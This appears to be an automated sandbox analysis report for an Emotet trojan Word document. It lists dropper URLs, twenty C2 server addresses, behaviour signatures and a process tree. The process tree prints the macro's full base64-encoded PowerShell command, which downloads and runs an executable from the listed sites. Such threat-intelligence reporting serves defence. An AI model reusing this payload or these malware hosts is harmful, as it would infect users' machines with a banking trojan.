Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    60s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    15/08/2020, 09:04

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e3_8f88dd80520ccf01a78eb649cc1a7918ff8a0c36019a7b5ecf59ae9c79afae7d_2020-08-15__090304._doc.doc
  • Size 230KB
  • Sample200815-mymbjtmpns
  • SHA256 8f88dd80520ccf01a78eb649cc1a7918ff8a0c36019a7b5ecf59ae9c79afae7d
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://slotenservice-24-7-actief.nl/crjns/LODRmgim/
  • exe.dropper

    https://zubk.net/wp-content/plugins/gallery-plugin/upload/files/vDXbZpIep/
  • exe.dropper

    http://yourcomputerneeds.net/wp-admin/JXjqdXqT/
  • exe.dropper

    http://lansec.com.br/rkz_wgz_2mw77xw/NxS/
  • exe.dropper

    http://larrysmith.com/old-files/djrowrumw34o8s80545998/

Extracted

Family

  • emotet

C2

  • 71.57.180.213:80

  • 185.86.148.68:443

  • 168.235.82.183:8080

  • 181.113.229.139:443

  • 181.134.9.162:80

  • 217.199.160.224:8080

  • 105.209.235.113:8080

  • 216.75.37.196:8080

  • 97.104.107.190:80

  • 203.153.216.182:7080

  • 107.161.30.122:8080

  • 41.106.96.12:80

  • 202.5.47.71:80

  • 201.235.10.215:80

  • 105.213.67.88:80

  • 115.79.195.246:80

  • 179.5.118.12:80

  • 212.112.113.235:80

  • 139.59.12.63:8080

  • 177.37.81.212:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_8f88dd80520ccf01a78eb649cc1a7918ff8a0c36019a7b5ecf59ae9c79afae7d_2020-08-15__090304._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1156
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABFAHQAeQBlAGEAegA5AD0AJwBZAHgAZQBwAGUAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBJAHQAYABZAGAAUABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABZAGEAZwBiAHgAZQB6ACAAPQAgACcAUQByAHAAbwAnADsAJABIAHgAbAAzAG0AMgA1AD0AJwBLAHIAMwA2AG4AegAyACcAOwAkAFcAcQA2AGsAOABoADYAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABZAGEAZwBiAHgAZQB6ACsAJwAuAGUAeABlACcAOwAkAFgAZQBpAGcAcwB6AG4APQAnAEIAcAB4ADYAdwB1AG8AJwA7ACQARgA4ADUAcAA2AGUAOQA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBDAGwAaQBlAE4AdAA7ACQAWgBnAHMANABzAHYAdAA9ACcAaAB0AHQAcAA6AC8ALwBzAGwAbwB0AGUAbgBzAGUAcgB2AGkAYwBlAC0AMgA0AC0ANwAtAGEAYwB0AGkAZQBmAC4AbgBsAC8AYwByAGoAbgBzAC8ATABPAEQAUgBtAGcAaQBtAC8AKgBoAHQAdABwAHMAOgAvAC8AegB1AGIAawAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHAAbAB1AGcAaQBuAHMALwBnAGEAbABsAGUAcgB5AC0AcABsAHUAZwBpAG4ALwB1AHAAbABvAGEAZAAvAGYAaQBsAGUAcwAvAHYARABYAGIAWgBwAEkAZQBwAC8AKgBoAHQAdABwADoALwAvAHkAbwB1AHIAYwBvAG0AcAB1AHQAZQByAG4AZQBlAGQAcwAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBYAGoAcQBkAFgAcQBUAC8AKgBoAHQAdABwADoALwAvAGwAYQBuAHMAZQBjAC4AYwBvAG0ALgBiAHIALwByAGsAegBfAHcAZwB6AF8AMgBtAHcANwA3AHgAdwAvAE4AeABTAC8AKgBoAHQAdABwADoALwAvAGwAYQByAHIAeQBzAG0AaQB0AGgALgBjAG8AbQAvAG8AbABkAC0AZgBpAGwAZQBzAC8AZABqAHIAbwB3AHIAdQBtAHcAMwA0AG8AOABzADgAMAA1ADQANQA5ADkAOAAvACcALgAiAFMAcABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBqAGsAdABpADgANAA9ACcAVgBxADMAcQA3AGsAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWgBiAGkAOAA1AHYAagAgAGkAbgAgACQAWgBnAHMANABzAHYAdAApAHsAdAByAHkAewAkAEYAOAA1AHAANgBlADkALgAiAGQATwBgAHcAYABOAGwAbwBhAGAAZABGAGkAbABFACIAKAAkAFoAYgBpADgANQB2AGoALAAgACQAVwBxADYAawA4AGgANgApADsAJABKAGUAMQB0AG8AbgA4AD0AJwBHAGIAegA4AGQAXwA3ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAVwBxADYAawA4AGgANgApAC4AIgBMAGAARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwA2ADgAOQAxACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAFcAcQA2AGsAOABoADYAKQA7ACQAVABrAGQAcABoAGMAYQA9ACcAWQBtAGMAOAA4AHAANAAnADsAYgByAGUAYQBrADsAJABGAHIAcgA1ADYAeABoAD0AJwBSAGsAaABoADcAZwA2ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAbgBlAF8AMABhAGcAPQAnAFMAaABwAGEANgB5AG4AJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1072
    • C:\Users\Admin\AppData\Local\Temp\Qrpo.exe
      "C:\Users\Admin\AppData\Local\Temp\Qrpo.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1804
      • C:\Windows\SysWOW64\msdadiag\shell32.exe
        "C:\Windows\SysWOW64\msdadiag\shell32.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1604

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1072-14-0x000000001B6A0000-0x000000001B6A1000-memory.dmp
        Download

        memory/1072-8-0x000007FEF1520000-0x000007FEF1F0C000-memory.dmp
        Download

        memory/1072-9-0x0000000002210000-0x0000000002211000-memory.dmp
        Download

        memory/1072-10-0x000000001AB70000-0x000000001AB71000-memory.dmp
        Download

        memory/1072-11-0x00000000023E0000-0x00000000023E1000-memory.dmp
        Download

        memory/1072-12-0x0000000002250000-0x0000000002251000-memory.dmp
        Download

        memory/1072-15-0x000000001B7F0000-0x000000001B7F1000-memory.dmp
        Download

        memory/1156-13-0x0000000002020000-0x0000000002021000-memory.dmp
        Download

        memory/1156-2-0x0000000008AE0000-0x0000000008AE4000-memory.dmp
        Download

        memory/1156-5-0x000000000AB10000-0x000000000AB14000-memory.dmp
        Download

        memory/1156-7-0x0000000006ED0000-0x00000000070D0000-memory.dmp
        Download

        memory/1156-6-0x000000000BB90000-0x000000000BB94000-memory.dmp
        Download

        memory/1604-22-0x0000000000290000-0x000000000029C000-memory.dmp
        Download

        memory/1804-19-0x0000000000680000-0x000000000068C000-memory.dmp
        Download

        memory/1868-23-0x000007FEF2300000-0x000007FEF257A000-memory.dmp
        Download